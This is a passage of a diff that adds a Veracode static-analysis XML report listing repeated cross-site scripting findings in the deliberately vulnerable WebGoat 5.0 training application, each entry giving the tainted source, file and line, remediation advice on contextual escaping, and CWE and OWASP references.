+        The first argument to print() contains tainted data from the variable employee.getFirstName().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"58\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"20\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"161\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getFirstName().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"58\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"20\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"128\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getLastName().
+        The tainted data originated from earlier calls to java.sql.statement.executequery,
+        javax.servlet.servletrequest.getparameter, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"62\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"24\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"268\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getLastName().
+        The tainted data originated from earlier calls to java.sql.statement.executequery,
+        javax.servlet.servletrequest.getparameter, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"62\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"24\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"123\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getLastName().
+        The tainted data originated from earlier calls to java.sql.statement.executequery,
+        javax.servlet.servletrequest.getparameter, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"62\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"24\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"3\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getAddress1().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, javax.servlet.servletrequest.getparametervalues,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"66\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"27\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"43\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getAddress1().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, javax.servlet.servletrequest.getparametervalues,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"66\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"27\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"7\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getAddress1().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, javax.servlet.servletrequest.getparametervalues,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"66\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"27\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"224\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getAddress2().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        javax.servlet.servletrequest.getparametervalues, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"70\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"30\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"5\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getAddress2().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        javax.servlet.servletrequest.getparametervalues, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"70\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"30\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"83\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getAddress2().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        javax.servlet.servletrequest.getparametervalues, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"70\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"30\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
